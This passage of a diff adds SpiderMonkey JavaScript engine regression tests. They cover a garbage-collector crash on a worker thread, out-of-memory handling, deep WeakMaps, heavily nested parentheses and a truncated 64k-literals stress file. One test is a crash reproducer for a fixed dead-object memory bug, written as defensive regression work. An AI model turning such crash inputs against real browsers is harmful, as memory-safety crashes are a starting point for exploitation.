+++ b/js/src/tests/non262/regress/regress-1466387-worker-grayroot.js
@@ -0,0 +1,28 @@
+var BUGNUMBER = 1466387;
+var summary = 'grayRoot() testing on worker thread';
+
+// Before bug 1466387, the gray root tracer was not set up on worker threads,
+// but the grayRoot() function was still available. This resulted in a GC
+// collecting the gray root, then a read barrier firing on the dead object.
+//
+// This is a crashtest. If it does not crash, it will throw a ReferenceError,
+// but that's ok.
+
+print('BUGNUMBER: ' + BUGNUMBER);
+print("STATUS: " + summary);
+
+if (typeof 'evalInWorder' == 'function') {
+ evalInWorker(`
+ var wm = new WeakMap();
+ grayRoot().map = wm;
+ gczeal(4,10);
+ evaluate(\`
+ grayRoot().map = __v_1173;
+ if (!class i { constructor() { } } ()) {
+ (function __f_252( get , ) {})();
+ }
+ \`);
+`);
+}
+
+this.reportCompare && reportCompare(true, true, summary);
diff --git a/js/src/tests/non262/regress/regress-1476383-calloc-exc.js b/js/src/tests/non262/regress/regress-1476383-calloc-exc.js
new file mode 100644
index 0000000000..3a6a0eb663
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-1476383-calloc-exc.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!this.hasOwnProperty("oomTest"))
+
+let lfPreamble = `
+`;
+oomTest(new Function(`var TOTAL_MEMORY = 50 * 1024 * 1024;
+HEAP = IHEAP = new Int32Array(TOTAL_MEMORY);
+function __Z9makeFastaI10RandomizedEvPKcS2_jRT_(\$id, \$desc, \$N, \$output)
+{
+}
+`));
+
+this.reportCompare && reportCompare(true, true);
diff --git a/js/src/tests/non262/regress/regress-1507322-deep-weakmap.js b/js/src/tests/non262/regress/regress-1507322-deep-weakmap.js
new file mode 100644
index 0000000000..049dc2a8db
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-1507322-deep-weakmap.js
@@ -0,0 +1,11 @@
+function TestGC2(m) {
+ var head = new Object;
+ for (key = head, i = 0; i < 99999; i++, key = m.get(key)) {
+ m.set(key, new Object);
+ }
+ gc();
+ for (key = head; key != undefined; key = m.get(key)) {}
+}
+TestGC2(new WeakMap);
+
+reportCompare(true, true, "deep weakmaps");
diff --git a/js/src/tests/non262/regress/regress-152646.js b/js/src/tests/non262/regress/regress-152646.js
new file mode 100644
index 0000000000..8387f3e11f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-152646.js
@@ -0,0 +1,90 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 08 July 2002
+ * SUMMARY: Testing expressions with large numbers of parentheses
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=152646
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 152646;
+var summary = 'Testing expressions with large numbers of parentheses';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Just seeing that we don't crash when compiling this assignment -
+ *
+ * We will form an eval string to set the result-variable |actual|.
+ * To get a feel for this, suppose N were 3. Then the eval string is
+ * 'actual = (((0)));' The expected value for this after eval() is 0.
+ */
+status = inSection(1);
+
+var sLeft = '((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((';
+sLeft += sLeft;
+sLeft += sLeft;
+sLeft += sLeft;
+sLeft += sLeft;
+sLeft += sLeft;
+
+var sRight = '))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))';
+sRight += sRight;
+sRight += sRight;
+sRight += sRight;
+sRight += sRight;
+sRight += sRight;
+
+var sEval = 'actual = ' + sLeft + '0' + sRight;
+try
+{
+ eval(sEval);
+}
+catch(e)
+{
+ /*
+ * An exception during this eval is OK, as the runtime can throw one
+ * in response to too deep recursion. We haven't crashed; good!
+ */
+ actual = 0;
+}
+expect = 0;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-155081-2.js b/js/src/tests/non262/regress/regress-155081-2.js
new file mode 100644
index 0000000000..b51eee272b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-155081-2.js
@@ -0,0 +1,17520 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 155081;
+var summary = 'Limit of 64k literals';
+var actual = 'No Crash';
+var expect = 'No Crash, No Error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f(A,B,C,D) {}
+
+f('1','2','3','4');
+f('5','6','7','8');
+f('9','10','11','12');
+f('13','14','15','16');
+f('17','18','19','20');
+f('21','22','23','24');
+f('25','26','27','28');
+f('29','30','31','32');
+f('33','34','35','36');
+f('37','38','39','40');
+f('41','42','43','44');
+f('45','46','47','48');
+f('49','50','51','52');
+f('53','54','55','56');
+f('57','58','59','60');
+f('61','62','63','64');
+f('65','66','67','68');
+f('69','70','71','72');
+f('73','74','75','76');
+f('77','78','79','80');
+f('81','82','83','84');
+f('85','86','87','88');
+f('89','90','91','92');
+f('93','94','95','96');
+f('97','98','99','100');
+f('101','102','103','104');
+f('105','106','107','108');
+f('109','110','111','112');
+f('113','114','115','116');
+f('117','118','119','120');
+f('121','122','123','124');
+f('125','126','127','128');
+f('129','130','131','132');
+f('133','134','135','136');
+f('137','138','139','140');
+f('141','142','143','144');
+f('145','146','147','148');
+f('149','150','151','152');
+f('153','154','155','156');
+f('157','158','159','160');
+f('161','162','163','164');
+f('165','166','167','168');
+f('169','170','171','172');
+f('173','174','175','176');
+f('177','178','179','180');
+f('181','182','183','184');
+f('185','186','187','188');
+f('189','190','191','192');
+f('193','194','195','196');
+f('197','198','199','200');
+f('201','202','203','204');
+f('205','206','207','208');
+f('209','210','211','212');
+f('213','214','215','216');
+f('217','218','219','220');
+f('221','222','223','224');
+f('225','226','227','228');
+f('229','230','231','232');
+f('233','234','235','236');
+f('237','238','239','240');
+f('241','242','243','244');
+f('245','246','247','248');
+f('249','250','251','252');
+f('253','254','255','256');
+f('257','258','259','260');
+f('261','262','263','264');
+f('265','266','267','268');
+f('269','270','271','272');
+f('273','274','275','276');
+f('277','278','279','280');
+f('281','282','283','284');
+f('285','286','287','288');
+f('289','290','291','292');
+f('293','294','295','296');
+f('297','298','299','300');
+f('301','302','303','304');
+f('305','306','307','308');
+f('309','310','311','312');
+f('313','314','315','316');
+f('317','318','319','320');
+f('321','322','323','324');
+f('325','326','327','328');
+f('329','330','331','332');
+f('333','334','335','336');
+f('337','338','339','340');
+f('341','342','343','344');
+f('345','346','347','348');
+f('349','350','351','352');
+f('353','354','355','356');
+f('357','358','359','360');
+f('361','362','363','364');
+f('365','366','367','368');
+f('369','370','371','372');
+f('373','374','375','376');
+f('377','378','379','380');
+f('381','382','383','384');
+f('385','386','387','388');
+f('389','390','391','392');
+f('393','394','395','396');
+f('397','398','399','400');
+f('401','402','403','404');
+f('405','406','407','408');
+f('409','410','411','412');
+f('413','414','415','416');
+f('417','418','419','420');
+f('421','422','423','424');
+f('425','426','427','428');
+f('429','430','431','432');
+f('433','434','435','436');
+f('437','438','439','440');
+f('441','442','443','444');
+f('445','446','447','448');
+f('449','450','451','452');
+f('453','454','455','456');
+f('457','458','459','460');
+f('461','462','463','464');
+f('465','466','467','468');
+f('469','470','471','472');
+f('473','474','475','476');
+f('477','478','479','480');
+f('481','482','483','484');
+f('485','486','487','488');
+f('489','490','491','492');
+f('493','494','495','496');
+f('497','498','499','500');
+f('501','502','503','504');
+f('505','506','507','508');
+f('509','510','511','512');
+f('513','514','515','516');
+f('517','518','519','520');
+f('521','522','523','524');
+f('525','526','527','528');
+f('529','530','531','532');
+f('533','534','535','536');
+f('537','538','539','540');
+f('541','542','543','544');
+f('545','546','547','548');
+f('549','550','551','552');
+f('553','554','555','556');
+f('557','558','559','560');
+f('561','562','563','564');
+f('565','566','567','568');
+f('569','570','571','572');
+f('573','574','575','576');
+f('577','578','579','580');
+f('581','582','583','584');
+f('585','586','587','588');
+f('589','590','591','592');
+f('593','594','595','596');
+f('597','598','599','600');
+f('601','602','603','604');
+f('605','606','607','608');
+f('609','610','611','612');
+f('613','614','615','616');
+f('617','618','619','620');
+f('621','622','623','624');
+f('625','626','627','628');
+f('629','630','631','632');
+f('633','634','635','636');
+f('637','638','639','640');
+f('641','642','643','644');
+f('645','646','647','648');
+f('649','650','651','652');
+f('653','654','655','656');
+f('657','658','659','660');
+f('661','662','663','664');
+f('665','666','667','668');
+f('669','670','671','672');
+f('673','674','675','676');
+f('677','678','679','680');
+f('681','682','683','684');
+f('685','686','687','688');
+f('689','690','691','692');
+f('693','694','695','696');
+f('697','698','699','700');
+f('701','702','703','704');
+f('705','706','707','708');
+f('709','710','711','712');
+f('713','714','715','716');
+f('717','718','719','720');
+f('721','722','723','724');
+f('725','726','727','728');
+f('729','730','731','732');
+f('733','734','735','736');
+f('737','738','739','740');
+f('741','742','743','744');
+f('745','746','747','748');
+f('749','750','751','752');
+f('753','754','755','756');
+f('757','758','759','760');
+f('761','762','763','764');
+f('765','766','767','768');
+f('769','770','771','772');
+f('773','774','775','776');
+f('777','778','779','780');
+f('781','782','783','784');
+f('785','786','787','788');
+f('789','790','791','792');
+f('793','794','795','796');
+f('797','798','799','800');
+f('801','802','803','804');
+f('805','806','807','808');
+f('809','810','811','812');
+f('813','814','815','816');
+f('817','818','819','820');
+f('821','822','823','824');
+f('825','826','827','828');
+f('829','830','831','832');
+f('833','834','835','836');
+f('837','838','839','840');
+f('841','842','843','844');
+f('845','846','847','848');
+f('849','850','851','852');
+f('853','854','855','856');
+f('857','858','859','860');
+f('861','862','863','864');
+f('865','866','867','868');
+f('869','870','871','872');
+f('873','874','875','876');
+f('877','878','879','880');
+f('881','882','883','884');
+f('885','886','887','888');
+f('889','890','891','892');
+f('893','894','895','896');
+f('897','898','899','900');
+f('901','902','903','904');
+f('905','906','907','908');
+f('909','910','911','912');
+f('913','914','915','916');
+f('917','918','919','920');
+f('921','922','923','924');
+f('925','926','927','928');
+f('929','930','931','932');
+f('933','934','935','936');
+f('937','938','939','940');
+f('941','942','943','944');
+f('945','946','947','948');
+f('949','950','951','952');
+f('953','954','955','956');
+f('957','958','959','960');
+f('961','962','963','964');
+f('965','966','967','968');
+f('969','970','971','972');
+f('973','974','975','976');
+f('977','978','979','980');
+f('981','982','983','984');
+f('985','986','987','988');
+f('989','990','991','992');
+f('993','994','995','996');
+f('997','998','999','1000');
+f('1001','1002','1003','1004');
+f('1005','1006','1007','1008');
+f('1009','1010','1011','1012');
+f('1013','1014','1015','1016');
+f('1017','1018','1019','1020');
+f('1021','1022','1023','1024');
+f('1025','1026','1027','1028');
+f('1029','1030','1031','1032');
+f('1033','1034','1035','1036');
+f('1037','1038','1039','1040');
+f('1041','1042','1043','1044');
+f('1045','1046','1047','1048');
+f('1049','1050','1051','1052');
+f('1053','1054','1055','1056');
+f('1057','1058','1059','1060');
+f('1061','1062','1063','1064');
+f('1065','1066','1067','1068');
+f('1069','1070','1071','1072');
+f('1073','1074','1075','1076');
+f('1077','1078','1079','1080');
+f('1081','1082','1083','1084');
+f('1085','1086','1087','1088');
+f('1089','1090','1091','1092');
+f('1093','1094','1095','1096');
+f('1097','1098','1099','1100');
+f('1101','1102','1103','1104');
+f('1105','1106','1107','1108');
+f('1109','1110','1111','1112');
+f('1113','1114','1115','1116');
+f('1117','1118','1119','1120');
+f('1121','1122','1123','1124');
+f('1125','1126','1127','1128');
+f('1129','1130','1131','1132');
+f('1133','1134','1135','1136');
+f('1137','1138','1139','1140');
+f('1141','1142','1143','1144');
+f('1145','1146','1147','1148');
+f('1149','1150','1151','1152');
+f('1153','1154','1155','1156');
+f('1157','1158','1159','1160');
+f('1161','1162','1163','1164');
+f('1165','1166','1167','1168');
+f('1169','1170','1171','1172');
+f('1173','1174','1175','1176');
+f('1177','1178','1179','1180');
+f('1181','1182','1183','1184');
+f('1185','1186','1187','1188');
+f('1189','1190','1191','1192');
+f('1193','1194','1195','1196');
+f('1197','1198','1199','1200');
+f('1201','1202','1203','1204');
+f('1205','1206','1207','1208');
+f('1209','1210','1211','1212');
+f('1213','1214','1215','1216');
+f('1217','1218','1219','1220');
+f('1221','1222','1223','1224');
+f('1225','1226','1227','1228');
+f('1229','1230','1231','1232');
+f('1233','1234','1235','1236');
+f('1237','1238','1239','1240');
+f('1241','1242','1243','1244');
+f('1245','1246','1247','1248');
+f('1249','1250','1251','1252');
+f('1253','1254','1255','1256');
+f('1257','1258','1259','1260');
+f('1261','1262','1263','1264');
+f('1265','1266','1267','1268');
+f('1269','1270','1271','1272');
+f('1273','1274','1275','1276');
+f('1277','1278','1279','1280');
+f('1281','1282','1283','1284');
+f('1285','1286','1287','1288');
+f('1289','1290','1291','1292');
+f('1293','1294','1295','1296');
+f('1297','1298','1299','1300');
+f('1301','1302','1303','1304');
+f('1305','1306','1307','1308');
+f('1309','1310','1311','1312');
+f('1313','1314','1315','1316');
+f('1317','1318','1319','1320');
+f('1321','1322','1323','1324');
+f('1325','1326','1327','1328');
+f('1329','1330','1331','1332');
+f('1333','1334','1335','1336');
+f('1337','1338','1339','1340');
+f('1341','1342','1343','1344');
+f('1345','1346','1347','1348');
+f('1349','1350','1351','1352');
+f('1353','1354','1355','1356');
+f('1357','1358','1359','1360');
+f('1361','1362','1363','1364');
+f('1365','1366','1367','1368');
+f('1369','1370','1371','1372');
+f('1373','1374','1375','1376');
+f('1377','1378','1379','1380');
+f('1381','1382','1383','1384');
+f('1385','1386','1387','1388');
+f('1389','1390','1391','1392');
+f('1393','1394','1395','1396');
+f('1397','1398','1399','1400');
+f('1401','1402','1403','1404');
+f('1405','1406','1407','1408');
+f('1409','1410','1411','1412');
+f('1413','1414','1415','1416');
+f('1417','1418','1419','1420');
+f('1421','1422','1423','1424');
+f('1425','1426','1427','1428');
+f('1429','1430','1431','1432');
+f('1433','1434','1435','1436');
+f('1437','1438','1439','1440');
+f('1441','1442','1443','1444');
+f('1445','1446','1447','1448');
+f('1449','1450','1451','1452');
+f('1453','1454','1455','1456');
+f('1457','1458','1459','1460');
+f('1461','1462','1463','1464');
+f('1465','1466','1467','1468');
+f('1469','1470','1471','1472');
+f('1473','1474','1475','1476');
+f('1477','1478','1479','1480');
+f('1481','1482','1483','1484');
+f('1485','1486','1487','1488');
+f('1489','1490','1491','1492');
+f('1493','1494','1495','1496');
+f('1497','1498','1499','1500');
+f('1501','1502','1503','1504');
+f('1505','1506','1507','1508');
+f('1509','1510','1511','1512');
+f('1513','1514','1515','1516');
+f('1517','1518','1519','1520');
+f('1521','1522','1523','1524');
+f('1525','1526','1527','1528');
+f('1529','1530','1531','1532');
+f('1533','1534','1535','1536');
+f('1537','1538','1539','1540');
+f('1541','1542','1543','1544');
+f('1545','1546','1547','1548');
+f('1549','1550','1551','1552');
+f('1553','1554','1555','1556');
+f('1557','1558','1559','1560');
+f('1561','1562','1563','1564');
+f('1565','1566','1567','1568');
+f('1569','1570','1571','1572');
+f('1573','1574','1575','1576');
+f('1577','1578','1579','1580');
+f('1581','1582','1583','1584');
+f('1585','1586','1587','1588');
+f('1589','1590','1591','1592');
+f('1593','1594','1595','1596');
+f('1597','1598','1599','1600');
+f('1601','1602','1603','1604');
+f('1605','1606','1607','1608');
+f('1609','1610','1611','1612');
+f('1613','1614','1615','1616');
+f('1617','1618','1619','1620');
+f('1621','1622','1623','1624');
+f('1625','1626','1627','1628');
+f('1629','1630','1631','1632');
+f('1633','1634','1635','1636');
+f('1637','1638','1639','1640');
+f('1641','1642','1643','1644');
+f('1645','1646','1647','1648');
+f('1649','1650','1651','1652');
+f('1653','1654','1655','1656');
+f('1657','1658','1659','1660');
+f('1661','1662','1663','1664');
+f('1665','1666','1667','1668');
+f('1669','1670','1671','1672');
+f('1673','1674','1675','1676');
+f('1677','1678','1679','1680');
+f('1681','1682','1683','1684');
+f('1685','1686','1687','1688');
+f('1689','1690','1691','1692');
+f('1693','1694','1695','1696');
+f('1697','1698','1699','1700');
+f('1701','1702','1703','1704');
+f('1705','1706','1707','1708');
+f('1709','1710','1711','1712');
+f('1713','1714','1715','1716');
+f('1717','1718','1719','1720');
+f('1721','1722','1723','1724');
+f('1725','1726','1727','1728');
+f('1729','1730','1731','1732');
+f('1733','1734','1735','1736');
+f('1737','1738','1739','1740');
+f('1741','1742','1743','1744');
+f('1745','1746','1747','1748');
+f('1749','1750','1751','1752');
+f('1753','1754','1755','1756');
+f('1757','1758','1759','1760');
+f('1761','1762','1763','1764');
+f('1765','1766','1767','1768');
+f('1769','1770','1771','1772');
+f('1773','1774','1775','1776');
+f('1777','1778','1779','1780');
+f('1781','1782','1783','1784');
+f('1785','1786','1787','1788');
+f('1789','1790','1791','1792');
+f('1793','1794','1795','1796');
+f('1797','1798','1799','1800');
+f('1801','1802','1803','1804');
+f('1805','1806','1807','1808');
+f('1809','1810','1811','1812');
+f('1813','1814','1815','1816');
+f('1817','1818','1819','1820');
+f('1821','1822','1823','1824');
+f('1825','1826','1827','1828');
+f('1829','1830','1831','1832');
+f('1833','1834','1835','1836');
+f('1837','1838','1839','1840');
+f('1841','1842','1843','1844');
+f('1845','1846','1847','1848');
+f('1849','1850','1851','1852');
+f('1853','1854','1855','1856');
+f('1857','1858','1859','1860');
+f('1861','1862','1863','1864');
+f('1865','1866','1867','1868');
+f('1869','1870','1871','1872');
+f('1873','1874','1875','1876');
+f('1877','1878','1879','1880');
+f('1881','1882','1883','1884');
+f('1885','1886','1887','1888');
+f('1889','1890','1891','1892');
+f('1893','1894','1895','1896');
+f('1897','1898','1899','1900');
+f('1901','1902','1903','1904');
+f('1905','1906','1907','1908');
+f('1909','1910','1911','1912');
+f('1913','1914','1915','1916');
+f('1917','1918','1919','1920');
+f('1921','1922','1923','1924');
+f('1925','1926','1927','1928');
+f('1929','1930','1931','1932');
+f('1933','1934','1935','1936');
+f('1937','1938','1939','1940');
+f('1941','1942','1943','1944');
+f('1945','1946','1947','1948');
+f('1949','1950','1951','1952');
+f('1953','1954','1955','1956');
+f('1957','1958','1959','1960');
+f('1961','1962','1963','1964');
+f('1965','1966','1967','1968');
+f('1969','1970','1971','1972');
+f('1973','1974','1975','1976');
+f('1977','1978','1979','1980');
+f('1981','1982','1983','1984');
+f('1985','1986','1987','1988');
+f('1989','1990','1991','1992');
+f('1993','1994','1995','1996');
+f('1997','1998','1999','2000');
+f('2001','2002','2003','2004');
+f('2005','2006','2007','2008');
+f('2009','2010','2011','2012');
+f('2013','2014','2015','2016');
+f('2017','2018','2019','2020');
+f('2021','2022','2023','2024');
+f('2025','2026','2027','2028');
+f('2029','2030','2031','2032');
+f('2033','2034','2035','2036');
+f('2037','2038','2039','2040');
+f('2041','2042','2043','2044');
+f('2045','2046','2047','2048');
+f('2049','2050','2051','2052');
+f('2053','2054','2055','2056');
+f('2057','2058','2059','2060');
+f('2061','2062','2063','2064');
+f('2065','2066','2067','2068');
+f('2069','2070','2071','2072');
+f('2073','2074','2075','2076');
+f('2077','2078','2079','2080');
+f('2081','2082','2083','2084');
+f('2085','2086','2087','2088');
+f('2089','2090','2091','2092');
+f('2093','2094','2095','2096');
+f('2097','2098','2099','2100');
+f('2101','2102','2103','2104');
+f('2105','2106','2107','2108');
+f('2109','2110','2111','2112');
+f('2113','2114','2115','2116');
+f('2117','2118','2119','2120');
+f('2121','2122','2123','2124');
+f('2125','2126','2127','2128');
+f('2129','2130','2131','2132');
+f('2133','2134','2135','2136');
+f('2137','2138','2139','2140');
+f('2141','2142','2143','2144');
+f('2145','2146','2147','2148');
+f('2149','2150','2151','2152');
+f('2153','2154','2155','2156');
+f('2157','2158','2159','2160');
+f('2161','2162','2163','2164');
+f('2165','2166','2167','2168');
+f('2169','2170','2171','2172');
+f('2173','2174','2175','2176');
+f('2177','2178','2179','2180');
+f('2181','2182','2183','2184');
+f('2185','2186','2187','2188');
+f('2189','2190','2191','2192');
+f('2193','2194','2195','2196');
+f('2197','2198','2199','2200');
+f('2201','2202','2203','2204');
+f('2205','2206','2207','2208');
+f('2209','2210','2211','2212');
+f('2213','2214','2215','2216');
+f('2217','2218','2219','2220');
+f('2221','2222','2223','2224');
+f('2225','2226','2227','2228');
+f('2229','2230','2231','2232');
+f('2233','2234','2235','2236');
+f('2237','2238','2239','2240');
+f('2241','2242','2243','2244');
+f('2245','2246','2247','2248');
+f('2249','2250','2251','2252');
+f('2253','2254','2255','2256');
+f('2257','2258','2259','2260');
+f('2261','2262','2263','2264');
+f('2265','2266','2267','2268');
+f('2269','2270','2271','2272');
+f('2273','2274','2275','2276');
+f('2277','2278','2279','2280');
+f('2281','2282','2283','2284');
+f('2285','2286','2287','2288');
+f('2289','2290','2291','2292');
+f('2293','2294','2295','2296');
+f('2297','2298','2299','2300');
+f('2301','2302','2303','2304');
+f('2305','2306','2307','2308');
+f('2309','2310','2311','2312');
+f('2313','2314','2315','2316');
+f('2317','2318','2319','2320');
+f('2321','2322','2323','2324');
+f('2325','2326','2327','2328');
+f('2329','2330','2331','2332');
+f('2333','2334','2335','2336');
+f('2337','2338','2339','2340');
+f('2341','2342','2343','2344');
+f('2345','2346','2347','2348');
+f('2349','2350','2351','2352');
+f('2353','2354','2355','2356');
+f('2357','2358','2359','2360');
+f('2361','2362','2363','2364');
+f('2365','2366','2367','2368');
+f('2369','2370','2371','2372');
+f('2373','2374','2375','2376');
+f('2377','2378','2379','2380');
+f('2381','2382','2383','2384');
+f('2385','2386','2387','2388');
+f('2389','2390','2391','2392');
+f('2393','2394','2395','2396');
+f('2397','2398','2399','2400');
+f('2401','2402','2403','2404');
+f('2405','2406','2407','2408');
+f('2409','2410','2411','2412');
+f('2413','2414','2415','2416');
+f('2417','2418','2419','2420');
+f('2421','2422','2423','2424');
+f('2425','2426','2427','2428');
+f('2429','2430','2431','2432');
+f('2433','2434','2435','2436');
+f('2437','2438','2439','2440');
+f('2441','2442','2443','2444');
+f('2445','2446','2447','2448');
+f('2449','2450','2451','2452');
+f('2453','2454','2455','2456');
+f('2457','2458','2459','2460');
+f('2461','2462','2463','2464');
+f('2465','2466','2467','2468');
+f('2469','2470','2471','2472');
+f('2473','2474','2475','2476');
+f('2477','2478','2479','2480');
+f('2481','2482','2483','2484');
+f('2485','2486','2487','2488');
+f('2489','2490','2491','2492');
+f('2493','2494','2495','2496');
+f('2497','2498','2499','2500');
+f('2501','2502','2503','2504');
+f('2505','2506','2507','2508');
+f('2509','2510','2511','2512');
+f('2513','2514','2515','2516');
+f('2517','2518','2519','2520');
+f('2521','2522','2523','2524');
+f('2525','2526','2527','2528');
+f('2529','2530','2531','2532');
+f('2533','2534','2535','2536');
+f('2537','2538','2539','2540');
+f('2541','2542','2543','2544');
+f('2545','2546','2547','2548');
+f('2549','2550','2551','2552');
+f('2553','2554','2555','2556');
+f('2557','2558','2559','2560');
+f('2561','2562','2563','2564');
+f('2565','2566','2567','2568');
+f('2569','2570','2571','2572');
+f('2573','2574','2575','2576');
+f('2577','2578','2579','2580');
+f('2581','2582','2583','2584');
+f('2585','2586','2587','2588');
+f('2589','2590','2591','2592');
+f('2593','2594','2595','2596');
+f('2597','2598','2599','2600');
+f('2601','2602','2603','2604');
+f('2605','2606','2607','2608');
+f('2609','2610','2611','2612');
+f('2613','2614','2615','2616');
+f('2617','2618','2619','2620');
+f('2621','2622','2623','2624');
+f('2625','2626','2627','2628');
+f('2629','2630','2631','2632');
+f('2633','2634','2635','2636');
+f('2637','2638','2639','2640');
+f('2641','2642','2643','2644');
+f('2645','2646','2647','2648');
+f('2649','2650','2651','2652');
+f('2653','2654','2655','2656');
+f('2657','2658','2659','2660');
+f('2661','2662','2663','2664');
+f('2665','2666','2667','2668');
+f('2669','2670','2671','2672');
+f('2673','2674','2675','2676');
+f('2677','2678','2679','2680');
+f('2681','2682','2683','2684');
+f('2685','2686','2687','2688');
+f('2689','2690','2691','2692');
+f('2693','2694','2695','2696');
+f('2697','2698','2699','2700');
+f('2701','2702','2703','2704');
+f('2705','2706','2707','2708');
+f('2709','2710','2711','2712');
+f('2713','2714','2715','2716');
+f('2717','2718','2719','2720');
+f('2721','2722','2723','2724');
+f('2725','2726','2727','2728');
+f('2729','2730','2731','2732');
+f('2733','2734','2735','2736');
+f('2737','2738','2739','2740');
+f('2741','2742','2743','2744');
+f('2745','2746','2747','2748');
+f('2749','2750','2751','2752');
+f('2753','2754','2755','2756');
+f('2757','2758','2759','2760');
+f('2761','2762','2763','2764');
+f('2765','2766','2767','2768');
+f('2769','2770','2771','2772');
+f('2773','2774','2775','2776');
+f('2777','2778','2779','2780');
+f('2781','2782','2783','2784');
+f('2785','2786','2787','2788');
+f('2789','2790','2791','2792');
+f('2793','2794','2795','2796');
+f('2797','2798','2799','2800');
+f('2801','2802','2803','2804');
+f('2805','2806','2807','2808');
+f('2809','2810','2811','2812');
+f('2813','2814','2815','2816');
+f('2817','2818','2819','2820');
+f('2821','2822','2823','2824');
+f('2825','2826','2827','2828');
+f('2829','2830','2831','2832');
+f('2833','2834','2835','2836');
+f('2837','2838','2839','2840');
+f('2841','2842','2843','2844');
+f('2845','2846','2847','2848');
+f('2849','2850','2851','2852');
+f('2853','2854','2855','2856');
+f('2857','2858','2859','2860');
+f('2861','2862','2863','2864');
+f('2865','2866','2867','2868');
+f('2869','2870','2871','2872');
+f('2873','2874','2875','2876');
+f('2877','2878','2879','2880');
+f('2881','2882','2883','2884');
+f('2885','2886','2887','2888');
+f('2889','2890','2891','2892');
+f('2893','2894','2895','2896');
+f('2897','2898','2899','2900');
+f('2901','2902','2903','2904');
+f('2905','2906','2907','2908');
+f('2909','2910','2911','2912');
+f('2913','2914','2915','2916');
+f('2917','2918','2919','2920');
+f('2921','2922','2923','2924');
+f('2925','2926','2927','2928');
+f('2929','2930','2931','2932');
+f('2933','2934','2935','2936');
+f('2937','2938','2939','2940');
+f('2941','2942','2943','2944');
+f('2945','2946','2947','2948');
+f('2949','2950','2951','2952');
+f('2953','2954','2955','2956');
+f('2957','2958','2959','2960');
+f('2961','2962','2963','2964');
+f('2965','2966','2967','2968');
+f('2969','2970','2971','2972');
+f('2973','2974','2975','2976');
+f('2977','2978','2979','2980');
+f('2981','2982','2983','2984');
+f('2985','2986','2987','2988');
+f('2989','2990','2991','2992');
+f('2993','2994','2995','2996');
+f('2997','2998','2999','3000');
+f('3001','3002','3003','3004');
+f('3005','3006','3007','3008');
+f('3009','3010','3011','3012');
+f('3013','3014','3015','3016');
+f('3017','3018','3019','3020');
+f('3021','3022','3023','3024');
+f('3025','3026','3027','3028');
+f('3029','3030','3031','3032');
+f('3033','3034','3035','3036');
+f('3037','3038','3039','3040');
+f('3041','3042','3043','3044');
+f('3045','3046','3047','3048');
+f('3049','3050','3051','3052');
+f('3053','3054','3055','3056');
+f('3057','3058','3059','3060');
+f('3061','3062','3063','3064');
+f('3065','3066','3067','3068');
+f('3069','3070','3071','3072');
+f('3073','3074','3075','3076');
+f('3077','3078','3079','3080');
+f('3081','3082','3083','3084');
+f('3085','3086','3087','3088');
+f('3089','3090','3091','3092');
+f('3093','3094','3095','3096');
+f('3097','3098','3099','3100');
+f('3101','3102','3103','3104');
+f('3105','3106','3107','3108');
+f('3109','3110','3111','3112');
+f('3113','3114','3115','3116');
+f('3117','3118','3119','3120');
+f('3121','3122','3123','3124');
+f('3125','3126','3127','3128');
+f('3129','3130','3131','3132');
+f('3133','3134','3135','3136');
+f('3137','3138','3139','3140');
+f('3141','3142','3143','3144');
+f('3145','3146','3147','3148');
+f('3149','3150','3151','3152');
+f('3153','3154','3155','3156');
+f('3157','3158','3159','3160');
+f('3161','3162','3163','3164');
+f('3165','3166','3167','3168');
+f('3169','3170','3171','3172');
+f('3173','3174','3175','3176');
+f('3177','3178','3179','3180');
+f('3181','3182','3183','3184');
+f('3185','3186','3187','3188');
+f('3189','3190','3191','3192');
+f('3193','3194','3195','3196');
+f('3197','3198','3199','3200');
+f('3201','3202','3203','3204');
+f('3205','3206','3207','3208');
+f('3209','3210','3211','3212');
+f('3213','3214','3215','3216');
+f('3217','3218','3219','3220');
+f('3221','3222','3223','3224');
+f('3225','3226','3227','3228');
+f('3229','3230','3231','3232');
+f('3233','3234','3235','3236');
+f('3237','3238','3239','3240');
+f('3241','3242','3243','3244');
+f('3245','3246','3247','3248');
+f('3249','3250','3251','3252');
+f('3253','3254','3255','3256');
+f('3257','3258','3259','3260');
+f('3261','3262','3263','3264');
+f('3265','3266','3267','3268');
+f('3269','3270','3271','3272');
+f('3273','3274','3275','3276');
+f('3277','3278','3279','3280');
+f('3281','3282','3283','3284');
+f('3285','3286','3287','3288');
+f('3289','3290','3291','3292');
+f('3293','3294','3295','3296');
+f('3297','3298','3299','3300');
+f('3301','3302','3303','3304');
+f('3305','3306','3307','3308');
+f('3309','3310','3311','3312');
+f('3313','3314','3315','3316');
+f('3317','3318','3319','3320');
+f('3321','3322','3323','3324');
+f('3325','3326','3327','3328');
+f('3329','3330','3331','3332');
+f('3333','3334','3335','3336');
+f('3337','3338','3339','3340');
+f('3341','3342','3343','3344');
